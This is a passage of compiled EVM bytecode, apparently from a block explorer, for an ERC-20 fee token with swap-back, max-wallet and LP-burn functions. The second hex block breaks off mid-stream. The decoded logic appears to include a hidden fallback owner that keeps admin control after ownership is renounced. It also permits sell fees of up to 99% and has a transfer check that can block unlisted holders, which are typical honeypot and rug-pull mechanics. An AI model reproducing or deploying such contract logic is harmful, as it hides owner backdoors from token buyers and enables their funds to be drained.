ffffffffffffffffffffffffffffffffffffff1681565b60165481565b61199461286a565b8260168190555081601781905550806018819055506018546017546016546119bc91906147d3565b6119c691906147d3565b60158190555060196015541115611a12576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a0990614853565b60405180910390fd5b505050565b611a1f61286a565b6001601360016101000a81548160ff0219169083151502179055506001601360026101000a81548160ff02191690831515021790555042601081905550565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b601a5481565b611abc61286a565b80601360026101000a81548160ff02191690831515021790555050565b606060048054611ae8906144a4565b80601f0160208091040260200160405190810160405280929190818152602001828054611b14906144a4565b8015611b615780601f10611b3657610100808354040283529160200191611b61565b820191906000526020600020905b815481529060010190602001808311611b4457829003601f168201915b5050505050905090565b60185481565b60125481565b601f5481565b601c5481565b611b8b61286a565b611b958282611d85565b5050565b6000611c5c611ba6612699565b84611c578560405180606001604052806025815260200161555a6025913960016000611bd0612699565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461340c9092919063ffffffff16565b6126a1565b6001905092915050565b60105481565b6000611c80611c79612699565b84846128e8565b6001905092915050565b611c9261286a565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167fa751787977eeb3902e30e1d19ca00c6ad274a1f622c31a206e32366700b0567460405160405180910390a380600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60246020528060005260406000206000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b611d8d61286a565b80602460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167f1ae86e1795cd1c161e96c6525438e119d8492810817588494e7b4e2c871793d960405160405180910390a35050565b601360019054906101000a900460ff1681565b611e8461286a565b80602260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff167f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df782604051611f219190614004565b60405180910390a25050565b611f3561286a565b82601a8190555081601b8190555080601c81905550601c54601b54601a54611f5d91906147d3565b611f6791906147d3565b60198190555060636019541115611fb3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611faa906148bf565b60405180910390fd5b505050565b611fc061286a565b670de0b6b3a76400006103e86005611fd66111c0565b611fe0919061457b565b611fea91906145ec565b611ff491906145ec565b811015612036576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161202d90614951565b60405180910390fd5b670de0b6b3a76400008161204a919061457b565b600a8190555050565b602160009054906101000a900460ff1681565b60085481565b600061207661286a565b620186a060016120846111c0565b61208e919061457b565b61209891906145ec565b8210156120da576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120d1906149e3565b60405180910390fd5b6103e8600a6120e76111c0565b6120f1919061457b565b6120fb91906145ec565b82111561213d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161213490614a75565b60405180910390fd5b8160098190555060019050919050565b60155481565b61215b61286a565b600073ffffffffffffffffffffffffffffffffffffffff16600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146121b657600080fd5b80600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60095481565b600061229161286a565b6000602160006101000a81548160ff0219169083151502179055506001905090565b60175481565b6122c161286a565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603612330576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161232790614b07565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b601b5481565b600a5481565b600061240661286a565b60115460125461241691906147d3565b4211612457576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161244e90614b73565b60405180910390fd5b6103e882111561249c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161249390614c05565b60405180910390fd5b4260128190555060003073ffffffffffffffffffffffffffffffffffffffff166370a08231600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166040518263ffffffff1660e01b815260040161250091906142d0565b602060405180830381865afa15801561251d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906125419190614c3a565b9050600061256c61271061255e86856134ce90919063ffffffff16565b61354890919063ffffffff16565b905060008111156125a7576125a6600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1661dead83613592565b5b600060246000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690508073ffffffffffffffffffffffffffffffffffffffff1663fff6cae96040518163ffffffff1660e01b8152600401600060405180830381600087803b15801561267557600080fd5b505af1158015612689573d6000803e3d6000fd5b5050505060019350505050919050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603612710576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161270790614cd9565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361277f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161277690614d6b565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161285d91906141c6565b60405180910390a3505050565b612872612699565b73ffffffffffffffffffffffffffffffffffffffff16612890613825565b73ffffffffffffffffffffffffffffffffffffffff16146128e6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016128dd90614dd7565b60405180910390fd5b565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603612957576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161294e90614e69565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036129c6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016129bd90614efb565b60405180910390fd5b600081036129df576129da83836000613592565b613407565b601360009054906101000a900460ff1615612ff6576129fc611a5e565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015612a6a5750612a3a611a5e565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015612aa35750600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015612add575061dead73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015612af65750600760149054906101000a900460ff16155b15612ff557601360019054906101000a900460ff16612bf057602260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680612bb05750602260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b612bef576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612be690614f67565b60405180910390fd5b5b602160009054906101000a900460ff1615612dba57612c0d611a5e565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614158015612c9457507f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015612cee5750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15612db95743602060003273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410612d74576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612d6b9061501f565b60405180910390fd5b43602060003273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5b602360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16612ead57600854811115612e50576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612e47906150b1565b60405180910390fd5b600a54612e5c836116f4565b82612e6791906147d3565b1115612ea8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612e9f9061511d565b60405180910390fd5b612ff4565b602360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16612f4857600854811115612f43576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612f3a906151af565b60405180910390fd5b612ff3565b602360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16612ff257600a54612fa5836116f4565b82612fb091906147d3565b1115612ff1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612fe89061511d565b60405180910390fd5b5b5b5b5b5b6000613001306116f4565b9050600060095482101590508080156130265750601360029054906101000a900460ff165b801561303f5750600760149054906101000a900460ff16155b80156130955750602260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156130eb5750602260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561312f576001600760146101000a81548160ff0219169083151502179055506131136138cd565b6000600760146101000a81548160ff0219169083151502179055505b600760149054906101000a900460ff161580156131585750600e60009054906101000a900460ff165b156131685761316685613a55565b505b6000600760149054906101000a900460ff16159050602260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168061321e5750602260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561322857600090505b600081156133f75760006019541115613303576132636064613255601954886134ce90919063ffffffff16565b61354890919063ffffffff16565b9050601954601b5482613276919061457b565b61328091906145ec565b601e600082825461329191906147d3565b92505081905550601954601c54826132a9919061457b565b6132b391906145ec565b601f60008282546132c491906147d3565b92505081905550601954601a54826132dc919061457b565b6132e691906145ec565b601d60008282546132f791906147d3565b925050819055506133d3565b600060155411156133d2576133366064613328601554886134ce90919063ffffffff16565b61354890919063ffffffff16565b905060155460175482613349919061457b565b61335391906145ec565b601e600082825461336491906147d3565b925050819055506015546018548261337c919061457b565b61338691906145ec565b601f600082825461339791906147d3565b92505081905550601554601654826133af919061457b565b6133b991906145ec565b601d60008282546133ca91906147d3565b925050819055505b5b60008111156133e8576133e7873083613592565b5b80856133f491906151cf565b94505b613402878787613592565b505050505b505050565b6000838311158290613454576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161344b9190613ee9565b60405180910390fd5b506000838561346391906151cf565b9050809150509392505050565b600080828461347f91906147d3565b9050838110156134c4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016134bb9061524f565b60405180910390fd5b8091505092915050565b60008083036134e05760009050613542565b600082846134ee919061457b565b90508284826134fd91906145ec565b1461353d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401613534906152e1565b60405180910390fd5b809150505b92915050565b600061358a83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250613b13565b905092915050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603613601576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016135f890614e69565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603613670576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161366790614efb565b60405180910390fd5b61367b838383613b76565b6136e68160405180606001604052806026815260200161550c602691396000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461340c9092919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550613779816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461347090919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161381891906141c6565b60405180910390a3505050565b60008073ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146138a457600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166138c8565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff165b905090565b60006138d8306116f4565b90506000601f54601d54601e546138ef91906147d3565b6138f991906147d3565b905060008083148061390b5750600082145b1561391857505050613a53565b6014600954613927919061457b565b83111561394057601460095461393d919061457b565b92505b6000600283601e5486613953919061457b565b61395d91906145ec565b61396791906145ec565b9050600061397e8286613b7b90919063ffffffff16565b9050600047905061398e82613bc5565b60006139a38247613b7b90919063ffffffff16565b90506000601e819055506000601d819055506000601f81905550600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681604051613a0390615332565b60006040518083038185875af1925050503d8060008114613a40576040519150601f19603f3d011682016040523d82523d6000602084013e613a45565b606091505b505080955050505050505050505b565b6000803073ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401613a9191906142d0565b602060405180830381865afa158015613aae573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190613ad29190614c3a565b90506000613aeb600d548361347090919063ffffffff16565b9050613af684613e02565b613b085760008114613b0757600080fd5b5b600192505050919050565b60008083118290613b5a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401613b519190613ee9565b60405180910390fd5b5060008385613b6991906145ec565b9050809150509392505050565b505050565b6000613bbd83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061340c565b905092915050565b6000600267ffffffffffffffff811115613be257613be1615347565b5b604051908082528060200260200182016040528015613c105781602001602082028036833780820191505090505b5090503081600081518110613c2857613c276144d5565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250507f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015613ccd573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190613cf1919061538b565b81600181518110613d0557613d046144d5565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050613d6a307f0000000000000000000000000000000000000000000000000000000000000000846126a1565b7f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401613dcc9594939291906154b1565b600060405180830381600087803b158015613de657600080fd5b505af1158015613dfa573d6000803e3d6000fd5b505050505050565b6000601460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16159050919050565b600081519050919050565b600082825260208201905092915050565b60005b83811015613e93578082015181840152602081019050613e78565b60008484015250505050565b6000601f19601f8301169050919050565b6000613ebb82613e59565b613ec58185613e64565b9350613ed5818560208601613e75565b613ede81613e9f565b840191505092915050565b60006020820190508181036000830152613f038184613eb0565b905092915050565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000613f4082613f15565b9050919050565b613f5081613f35565b8114613f5b57600080fd5b50565b600081359050613f6d81613f47565b92915050565b6000819050919050565b613f8681613f73565b8114613f9157600080fd5b50565b600081359050613fa381613f7d565b92915050565b60008060408385031215613fc057613fbf613f0b565b5b6000613fce85828601613f5e565b9250506020613fdf85828601613f94565b9150509250929050565b60008115159050919050565b613ffe81613fe9565b82525050565b60006020820190506140196000830184613ff5565b92915050565b60006020828403121561403557614034613f0b565b5b600061404384828501613f5e565b91505092915050565b600080fd5b600080fd5b600080fd5b60008083601f8401126140715761407061404c565b5b8235905067ffffffffffffffff81111561408e5761408d614051565b5b6020830191508360208202830111156140aa576140a9614056565b5b9250929050565b6140ba81613fe9565b81146140c557600080fd5b50565b6000813590506140d7816140b1565b92915050565b6000806000604084860312156140f6576140f5613f0b565b5b600084013567ffffffffffffffff81111561411457614113613f10565b5b6141208682870161405b565b93509350506020614133868287016140c8565b9150509250925092565b6000819050919050565b600061416261415d61415884613f15565b61413d565b613f15565b9050919050565b600061417482614147565b9050919050565b600061418682614169565b9050919050565b6141968161417b565b82525050565b60006020820190506141b1600083018461418d565b92915050565b6141c081613f73565b82525050565b60006020820190506141db60008301846141b7565b92915050565b6000602082840312156141f7576141f6613f0b565b5b600061420584828501613f94565b91505092915050565b60008060006060848603121561422757614226613f0b565b5b600061423586828701613f5e565b935050602061424686828701613f5e565b925050604061425786828701613f94565b9150509250925092565b60008060006040848603121561427a57614279613f0b565b5b600084013567ffffffffffffffff81111561429857614297613f10565b5b6142a48682870161405b565b935093505060206142b786828701613f94565b9150509250925092565b6142ca81613f35565b82525050565b60006020820190506142e560008301846142c1565b92915050565b600060ff82169050919050565b614301816142eb565b82525050565b600060208201905061431c60008301846142f8565b92915050565b60008060006060848603121561433b5761433a613f0b565b5b600061434986828701613f94565b935050602061435a86828701613f94565b925050604061436b868287016140c8565b9150509250925092565b6000806040838503121561438c5761438b613f0b565b5b600061439a85828601613f5e565b92505060206143ab858286016140c8565b9150509250929050565b6000806000606084860312156143ce576143cd613f0b565b5b60006143dc86828701613f94565b93505060206143ed86828701613f94565b92505060406143fe86828701613f94565b9150509250925092565b60006020828403121561441e5761441d613f0b565b5b600061442c848285016140c8565b91505092915050565b6000806040838503121561444c5761444b613f0b565b5b600061445a85828601613f5e565b925050602061446b85828601613f5e565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806144bc57607f821691505b6020821081036144cf576144ce614475565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061453e82613f73565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82036145705761456f614504565b5b600182019050919050565b600061458682613f73565b915061459183613f73565b925082820261459f81613f73565b915082820484148315176145b6576145b5614504565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006145f782613f73565b915061460283613f73565b925082614612576146116145bd565b5b828204905092915050565b7f43616e6e6f7420736574206d61785472616e73616374696f6e416d6f756e742060008201527f6c6f776572207468616e20302e31250000000000000000000000000000000000602082015250565b6000614679602f83613e64565b91506146848261461d565b604082019050919050565b600060208201905081810360008301526146a88161466c565b9050919050565b7f63616e6e6f7420736574206275796261636b206d6f7265206f6674656e20746860008201527f616e206576657279203130206d696e7574657300000000000000000000000000602082015250565b600061470b603383613e64565b9150614716826146af565b604082019050919050565b6000602082019050818103600083015261473a816146fe565b9050919050565b7f4d75737420736574206175746f204c50206275726e2070657263656e7420626560008201527f747765656e20302520616e642031302500000000000000000000000000000000602082015250565b600061479d603083613e64565b91506147a882614741565b604082019050919050565b600060208201905081810360008301526147cc81614790565b9050919050565b60006147de82613f73565b91506147e983613f73565b925082820190508082111561480157614800614504565b5b92915050565b7f4d757374206b656570206665657320617420323525206f72206c657373000000600082015250565b600061483d601d83613e64565b915061484882614807565b602082019050919050565b6000602082019050818103600083015261486c81614830565b9050919050565b7f4d757374206b656570206665657320617420393925206f72206c657373000000600082015250565b60006148a9601d83613e64565b91506148b482614873565b602082019050919050565b600060208201905081810360008301526148d88161489c565b9050919050565b7f43616e6e6f7420736574206d617857616c6c6574206c6f776572207468616e2060008201527f302e352500000000000000000000000000000000000000000000000000000000602082015250565b600061493b602483613e64565b9150614946826148df565b604082019050919050565b6000602082019050818103600083015261496a8161492e565b9050919050565b7f5377617020616d6f756e742063616e6e6f74206265206c6f776572207468616e60008201527f20302e3030312520746f74616c20737570706c792e0000000000000000000000602082015250565b60006149cd603583613e64565b91506149d882614971565b604082019050919050565b600060208201905081810360008301526149fc816149c0565b9050919050565b7f5377617020616d6f756e742063616e6e6f74206265206869676865722074686160008201527f6e20312520746f74616c20737570706c792e0000000000000000000000000000602082015250565b6000614a5f603283613e64565b9150614a6a82614a03565b604082019050919050565b60006020820190508181036000830152614a8e81614a52565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000614af1602683613e64565b9150614afc82614a95565b604082019050919050565b60006020820190508181036000830152614b2081614ae4565b9050919050565b7f4d757374207761697420666f7220636f6f6c646f776e20746f2066696e697368600082015250565b6000614b5d602083613e64565b9150614b6882614b27565b602082019050919050565b60006020820190508181036000830152614b8c81614b50565b9050919050565b7f4d6179206e6f74206e756b65206d6f7265207468616e20313025206f6620746f60008201527f6b656e7320696e204c5000000000000000000000000000000000000000000000602082015250565b6000614bef602a83613e64565b9150614bfa82614b93565b604082019050919050565b60006020820190508181036000830152614c1e81614be2565b9050919050565b600081519050614c3481613f7d565b92915050565b600060208284031215614c5057614c4f613f0b565b5b6000614c5e84828501614c25565b91505092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000614cc3602483613e64565b9150614cce82614c67565b604082019050919050565b60006020820190508181036000830152614cf281614cb6565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000614d55602283613e64565b9150614d6082614cf9565b604082019050919050565b60006020820190508181036000830152614d8481614d48565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000614dc1602083613e64565b9150614dcc82614d8b565b602082019050919050565b60006020820190508181036000830152614df081614db4565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000614e53602583613e64565b9150614e5e82614df7565b604082019050919050565b60006020820190508181036000830152614e8281614e46565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000614ee5602383613e64565b9150614ef082614e89565b604082019050919050565b60006020820190508181036000830152614f1481614ed8565b9050919050565b7f54726164696e67206973206e6f74206163746976652e00000000000000000000600082015250565b6000614f51601683613e64565b9150614f5c82614f1b565b602082019050919050565b60006020820190508181036000830152614f8081614f44565b9050919050565b7f5f7472616e736665723a3a205472616e736665722044656c617920656e61626c60008201527f65642e20204f6e6c79206f6e652070757263686173652070657220626c6f636b60208201527f20616c6c6f7765642e0000000000000000000000000000000000000000000000604082015250565b6000615009604983613e64565b915061501482614f87565b606082019050919050565b6000602082019050818103600083015261503881614ffc565b9050919050565b7f427579207472616e7366657220616d6f756e742065786365656473207468652060008201527f6d61785472616e73616374696f6e416d6f756e742e0000000000000000000000602082015250565b600061509b603583613e64565b91506150a68261503f565b604082019050919050565b600060208201905081810360008301526150ca8161508e565b9050919050565b7f4d61782077616c6c657420657863656564656400000000000000000000000000600082015250565b6000615107601383613e64565b9150615112826150d1565b602082019050919050565b60006020820190508181036000830152615136816150fa565b9050919050565b7f53656c6c207472616e7366657220616d6f756e7420657863656564732074686560008201527f206d61785472616e73616374696f6e416d6f756e742e00000000000000000000602082015250565b6000615199603683613e64565b91506151a48261513d565b604082019050919050565b600060208201905081810360008301526151c88161518c565b9050919050565b60006151da82613f73565b91506151e583613f73565b92508282039050818111156151fd576151fc614504565b5b92915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000615239601b83613e64565b915061524482615203565b602082019050919050565b600060208201905081810360008301526152688161522c565b9050919050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b60006152cb602183613e64565b91506152d68261526f565b604082019050919050565b600060208201905081810360008301526152fa816152be565b9050919050565b600081905092915050565b50565b600061531c600083615301565b91506153278261530c565b600082019050919050565b600061533d8261530f565b9150819050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b60008151905061538581613f47565b92915050565b6000602082840312156153a1576153a0613f0b565b5b60006153af84828501615376565b91505092915050565b6000819050919050565b60006153dd6153d86153d3846153b8565b61413d565b613f73565b9050919050565b6153ed816153c2565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b61542881613f35565b82525050565b600061543a838361541f565b60208301905092915050565b6000602082019050919050565b600061545e826153f3565b61546881856153fe565b93506154738361540f565b8060005b838110156154a457815161548b888261542e565b975061549683615446565b925050600181019050615477565b5085935050505092915050565b600060a0820190506154c660008301886141b7565b6154d360208301876153e4565b81810360408301526154e58186615453565b90506154f460608301856142c1565b61550160808301846141b7565b969550505050505056fe45524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa26469706673582212203ed13105ada7a07267a7655ff443e7119178392ebd64cc6ea9e3af6c2840e1b664736f6c63430008130033
Deployed Bytecode
0x6080604052600436106103f35760003560e01c80638a8c523c11610208578063bbc0c74211610118578063d9928496116100ab578063f11a24d31161007a578063f11a24d314610f38578063f2fde38b14610f63578063f637434214610f8c578063f8b45b0514610fb7578063fe72b27a14610fe2576103fa565b8063d992849614610e7c578063dd62ed3e14610ea5578063e2f4560514610ee2578063e884f26014610f0d576103fa565b8063c876d0b9116100e7578063c876d0b914610dbe578063c8c8ebe414610de9578063d257b34f14610e14578063d85ba06314610e51576103fa565b8063bbc0c74214610d18578063c024666814610d43578063c17b5b8c14610d6c578063c18bc19514610d95576103fa565b80639fccce321161019b578063a4c82a001161016a578063a4c82a0014610c21578063a9059cbb14610c4c578063aacebbe314610c89578063b62496f514610cb2578063bbbb3ffc14610cef576103fa565b80639fccce3214610b65578063a0d82dc514610b90578063a165506f14610bbb578063a457c2d714610be4576103fa565b8063924de9b7116101d7578063924de9b714610abb57806395d89b4114610ae45780639c3b4fdc14610b0f5780639ec22c0e14610b3a576103fa565b80638a8c523c14610a235780638da5cb5b14610a3a5780638ea5220f14610a655780639213691314610a90576103fa565b80632e82f1a0116103035780636ddd171311610296578063751039fc11610265578063751039fc146109505780637571336a1461097b57806375f0a874146109a45780637bce5a04146109cf5780638095d564146109fa576103fa565b80636ddd1713146108a857806370a08231146108d3578063715018a614610910578063730c188814610927576103fa565b80634a62bb65116102d25780634a62bb65146107d85780634fbee193146108035780635427038a146108405780636a486a8e1461087d576103fa565b80632e82f1a01461071a578063313ce56714610745578063395093511461077057806349bd5a5e146107ad576103fa565b8063199ffc721161038657806323b872dd1161035557806323b872dd1461062157806326ededb81461065e57806327c8f835146106875780632ae94863146106b25780632c3e486c146106ef576103fa565b8063199ffc72146105775780631a8145bb146105a25780631f3fed8f146105cd578063203e727e146105f8576103fa565b80631694505e116103c25780631694505e146104cd57806318160ddd146104f85780631816467f14610523578063184c16c51461054c576103fa565b806306fdde03146103ff578063095ea7b31461042a57806310d5de53146104675780631111f43f146104a4576103fa565b366103fa57005b600080fd5b34801561040b57600080fd5b5061041461101f565b6040516104219190613ee9565b60405180910390f35b34801561043657600080fd5b50610451600480360381019061044c9190613fa9565b6110b1565b60405161045e9190614004565b60405180910390f35b34801561047357600080fd5b5061048e6004803603810190610489919061401f565b6110cf565b60405161049b9190614004565b60405180910390f35b3480156104b057600080fd5b506104cb60048036038101906104c691906140dd565b6110ef565b005b3480156104d957600080fd5b506104e261119c565b6040516104ef919061419c565b60405180910390f35b34801561050457600080fd5b5061050d6111c0565b60405161051a91906141c6565b60405180910390f35b34801561052f57600080fd5b5061054a6004803603810190610545919061401f565b6111ca565b005b34801561055857600080fd5b50610561611292565b60405161056e91906141